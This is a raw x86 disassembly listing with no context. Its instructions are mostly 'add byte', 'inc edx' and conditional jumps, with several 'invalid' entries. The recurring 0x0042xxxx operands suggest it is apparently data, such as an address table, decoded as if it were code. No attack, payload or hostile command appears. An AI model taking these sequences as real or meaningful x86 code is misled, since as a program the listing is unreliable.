add byte [esi + 0x76], cl
inc edx
jbe 0x4460f5
add byte [esi + esi*2 + 0x42], dl
jbe 0x4460f9
add byte [eax + 0x76], ah
inc edx
jbe 0x4460fd
add byte [eax + 0x76], dh
inc edx
jbe 0x446101
add byte [eax + 0x76], dh
inc edx
jbe 0x446105
add byte [ebx + 0x7000427a], dh
jp 0x446109
add byte [eax + 0x76], dh
inc edx
jbe 0x44610d
add byte [ecx + 0x7a], ch
inc edx
add byte [ebx + 0x7b], dh
inc edx
add byte [edx + 0x7b004278], ah
jbe 0x44611d
add bl, ah
jbe 0x446121
add byte [edx], cl
jp case.0x427016.14
add byte [eax], ah
jp 0x446129
add byte [eax], ah
jp 0x44612d
add byte [edx], ah
jp 0x446131
add byte [eax], ah
jp 0x446135
add al, bl
jbe 0x446139
add byte [edi + esi*2], ah
inc edx
ja 0x44613d
add byte [edx + 0x76], dh
inc edx
jbe 0x446141
add byte [edx], ah
jp 0x446145
add byte [eax + 0x77], ch
inc edx
ja 0x446149
add byte [edi + esi*2 + 0x42], dh
ja case.0x4271b0.101
add byte [edi - 0x65ffbd89], ch
outsb dx, byte [esi]
inc edx
add byte [ebp + 0x70], cl
inc edx
ja 0x446151
add byte [edx + 0x4d00426e], bl
jo 0x446159
add ch, bl
outsb dx, byte [esi]
inc edx
add byte [ebx], ch
jo 0x446161
add byte [ebx + 0x6f], al
outsd dx, dword [esi]
inc edx
add byte [0x80004270], bl
jo 0x446169
invalid
invalid
jo 0x446169
add byte [eax - 0x7fffbd90], al
jo 0x44616d
add byte [eax - 0x7fffbd90], al
jo 0x446171
add byte [eax - 0x79ffbd90], al
jo 0x446175
add byte [esi - 0x7fffbd90], al
jo 0x446179
add byte [eax + 0x1d004270], al
jo 0x44617d
add byte [0xbc004270], bl
jo 0x446181
add byte [eax + esi*2 + 0x70a90042], bh
inc edx
jo 0x446185
add byte [ecx - 0x19ffbd90], ch
jo 0x446189
add dh, ah
jo 0x44618d
add byte [edi + 0x45004271], dh
jno 0x446191
add byte [ebp + 0x71], al
inc edx
jno 0x446195
add byte [eax], dh
jno 0x446199
add byte [ecx + esi*2 + 0x42], dh
jno 0x44619d
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edx + 0x100427b], ah
add byte [eax], al
add byte [0x11004272], bh
jb 0x4461b1
add byte [ecx], dl
jb 0x4461b5
add byte [ecx], dh
jb 0x4461b9
add al, dh
jno 0x4461bd
add byte [0xff004272], bh
jb 0x4461c1
add bh, bh
jno 0x4461c5
add byte [edi + 0x72], cl
inc edx
jb 0x4461c9
add byte [ecx + 0x72], bl
inc edx
jb 0x4461cd
add al, dh
jb 0x4461d1
add dh, bh
jb 0x4461d5
add bl, dl
jae 0x4461d9
add byte [ecx + 0x29004270], ch
jo 0x4461dd
add byte [ecx], ch
jo 0x4461e1
add byte [ecx], ch
jo 0x4461e5
add byte [ebx], ch
jo 0x4461e9
add byte [ecx], ch
jo 0x4461ed
add byte [ecx], dh
jo 0x4461f1
add byte [ebp + 0x70], cl
inc edx
jo 0x4461f5
add byte [eax + 0x70], ah
inc edx
jo 0x4461f9
add byte [eax + 0x70], ah
inc edx
jo 0x4461fd
add byte [eax + 0x70], ah
inc edx
jo 0x446201
add byte [edx + 0x70], ah
inc edx
jo 0x446205
add byte [eax + esi*2 + 0x42], ch
jo 0x446209
add byte [edi - 0x3effbd89], ch
ja 0x44620d
add cl, al
jbe 0x446211
add byte [ebp + 0x78], dh
inc edx
js 0x446215
add byte [edi - 0x9ffbd94], bl
insb byte es:[edi], dx
inc edx
add dh, dh
jae 0x44621d
add byte [edi - 0x4cffbd8c], ah
cmpsd dword [esi], dword es:[edi]
je 0x446221
add byte [ebx - 0x4fffbd8c], dh
je 0x446225
add byte [eax + 0x5400427c], dh
jl 0x446229
add byte [edi + edi*2 + 0x42], dl
jg 0x44622d
add byte [eax - 0x4fffbd84], dh
jl 0x446231
add byte [eax - 0x49ffbd84], dh
jl 0x446235
add byte [esi - 0x4fffbd84], dh
jl 0x446239
add byte [eax - 0xfffbd84], dh
jl 0x44623d
add al, dh
jl 0x446241
add byte [edx], ah
jge 0x446245
add al, dh
jl 0x446249
add al, dh
jl 0x44624d
add dh, dh
jl 0x446251
add al, dh
jl 0x446255
add dh, bh
jl 0x446259
add byte [edi + edi*2 + 0x42], dl
add byte [eax], ah
jge 0x446261
add byte [eax], ah
jge 0x446265
add byte [edi + edi*2 + 0x42], dl
jg 0x446269
add byte [eax], ah
jge 0x44626d
add byte [edi + edi*2], bh
inc edx
jg 0x446271
add byte [ebp + 0x100427f], cl
jg 0x446275
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edi + edi*2], bh
inc edx
jg 0x446281
add byte [ecx], al
add byte [eax], al
add byte [edx + 0x7f], al
inc edx
jg 0x446289
add byte [esi + 0x7f], cl
inc edx
jg 0x44628d
add byte [eax], dl
mov al, byte [edx]
jecxz 0x4461dc
mov al, byte [edx]
mov ecx, 0x1000428b
inc edx
add byte [ecx + 0x1000428b], bh
mov eax, dword [edx]
adc byte [edx - 0x7a3fffbe], cl
inc edx
add al, dl
mov al, byte [edx]
rol byte [ebp - 0x7a2fffbe], 0x42
add ch, bl
test dword [edx], eax
fld qword [ebp - 0x7a0fffbe]
inc edx
add al, dh
test dword [edx], eax
invalid
test dword [edx], eax
invalid
test dword [edx], eax
add eax, 0x15004286
xchg byte [edx], al
adc eax, 0xd0004286
xchg byte [edx], al
rol byte [edx - 0x78f7ffbe], 1
inc edx
add byte [edx], dh
xchg dword [edx], eax
js 0x446211
xchg byte [edx], al
rol byte [esi - 0x7d2fffbe], 1
inc edx
add byte [eax], cl
xchg dword [edx], eax
xor al, byte [edi - 0x7887ffbe]
xchg dword [edx], eax
add dword cs:[edx], 0x7e
inc edx
add byte [esi], ch
add dword [edx], 0x7e
xchg dword [edx], eax
jle 0x44621d
inc edx
add byte [ebp - 0x64ffbd7c], cl
test byte [edx], al
aaa
add byte [edx], 0x70
add dword [edx], 0x42803d
xchg byte [edx - 0x7e8fffbe], al
inc edx
add byte [edx - 0x3affbd7e], dl
mov eax, dword [edx]
mov esi, 0xc7004291
xchg ecx, eax
inc edx
add byte [esi - 0x3affbd6f], bh
mov eax, dword [edx]
in al, 0x8b
inc edx
add byte [edi + 0x16004284], ah
add dword [edx], 0x1f
add dword [edx], 0x34
xchg dword [edx], eax
push ss
add dword [edx], 0x40
xchg dword [edx], eax
inc eax
xchg dword [edx], eax
rol byte [edx - 0x78bfffbe], 1
inc edx
add dh, dl
add byte [edx], 0x15
xchg byte [edx], al
add byte [ebx - 0x78a9ffbe], al
inc edx
add byte [eax + 0x7f], dh
inc edx
add al, dh
add byte [edx], 0xe9
mov es, word [edx]
and byte [edx + eax*2 + 0x428c0000], cl
add byte [eax], ah
mov word [edx], es
mov al, byte [0xb0004282]
add byte [edx], 0xb6
add byte [edx], 0xc0
add byte [edx], 0xc0
add byte [edx], 0xc0
add byte [edx], 0x70
jg 0x446379
add al, al
add byte [edx], 1
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax + 0x7f], dh
inc edx
add byte [eax + 0x7f], ah
inc edx
add byte [eax + 0x7f], ah
inc edx
add byte [edx + 0x7f], ah
inc edx
add byte [eax + 0x7f], ah
inc edx
add byte [edi], ah
xchg ebx, eax
inc edx
add dl, dl
xchg ebx, eax
inc edx
add byte [ecx - 0x6d], ah
inc edx
add byte [ebx + edx*4 + 0x42], dh
add byte [edi - 0x6d], ah
inc edx
add byte [eax - 0x6d], dh
inc edx
add byte [eax - 0x22ffbd6d], ah
xchg ebx, eax
inc edx
add byte [edx - 0x6c], ah
inc edx
add dh, bh
xchg ebx, eax
inc edx
add byte [esp + edx*4], dh
inc edx
add byte [edi], dl
xchg ebp, eax
inc edx
add ah, al
xchg ebp, eax
inc edx
add byte [esp + edx*4], dh
inc edx
add byte [0x30004296], dl
xchg ebp, eax
inc edx
add byte [eax], dh
xchg esi, eax
inc edx
add byte [eax], dh
xchg ebp, eax
inc edx
add byte [eax], dh
xchg esi, eax
inc edx
add byte [eax], dh
xchg esi, eax
inc edx
add byte [eax], dh
xchg esi, eax
inc edx
add byte [esi], dh
xchg esi, eax
inc edx
add byte [esi - 0x6a], al
inc edx
add byte [eax], dh
xchg ebp, eax
inc edx
add byte [eax - 0x6a], ah
inc edx
add byte [eax], dh
xchg ebp, eax
inc edx
add byte [eax - 0x6a], ah
inc edx
add byte [eax - 0x6a], ah
inc edx
add byte [esi - 0x6a], ah
inc edx
add byte [eax - 0x6a], ah
inc edx
add byte [esi - 0x6a], dh
inc edx
add byte [eax], dh
xchg ebp, eax
inc edx
add dl, dl
xchg esi, eax
inc edx
add ah, bl
xchg esi, eax
inc edx
add byte [ecx + 0xd004299], dl
xchg edi, eax
inc edx
add byte [eax - 0x69], al
inc edx
add byte [edi], dl
xchg edi, eax
inc edx
add byte [eax - 0x69], ch
inc edx
add byte [eax - 0x69], al
inc edx
add byte [edx + 0x74004299], al
xchg edi, eax
inc edx
add byte [ebx - 0x43ffbd69], dh
xchg edi, eax
inc edx
add byte [edi - 0x67], cl
inc edx
add byte [ebp - 0x67], ch
inc edx
add byte [esi - 0x67], bl
inc edx
add byte [ebp - 0x67], dl
inc edx
add byte [esi - 0x67], bl
inc edx
add byte [ebp - 0x67], ch
inc edx
add byte [eax - 0x7fffbd67], al
cdq
inc edx
add byte [edx - 0x7fffbd67], al
cdq
inc edx
add byte [eax - 0x6effbd67], cl
cdq
inc edx
add byte [esi - 0x66], cl
inc edx
add byte [eax - 0x66], dh
inc edx
add byte [eax - 0x66], dh
inc edx
add byte [eax - 0x66], dh
inc edx
add byte [eax], dh
xchg ebp, eax
inc edx
add byte [eax - 0x66], dh
inc edx
add byte [eax - 0x6c], al
inc edx
add byte [eax - 0x6c], al
inc edx
add byte [edx - 0x6c], al
inc edx
add byte [eax - 0x6c], al
inc edx
add byte [eax - 0x6c], cl
inc edx
add byte [eax - 0x6c], bl
inc edx
add byte [eax - 0x6c], ah
inc edx
add byte [eax - 0x6c], ah
inc edx
add byte [eax - 0x6c], ah
inc edx
add byte [edx - 0x6c], ah
inc edx
add byte [edx - 0x6c], ch
inc edx
add dh, al
lcall 0x42, 0x93a00042
invalid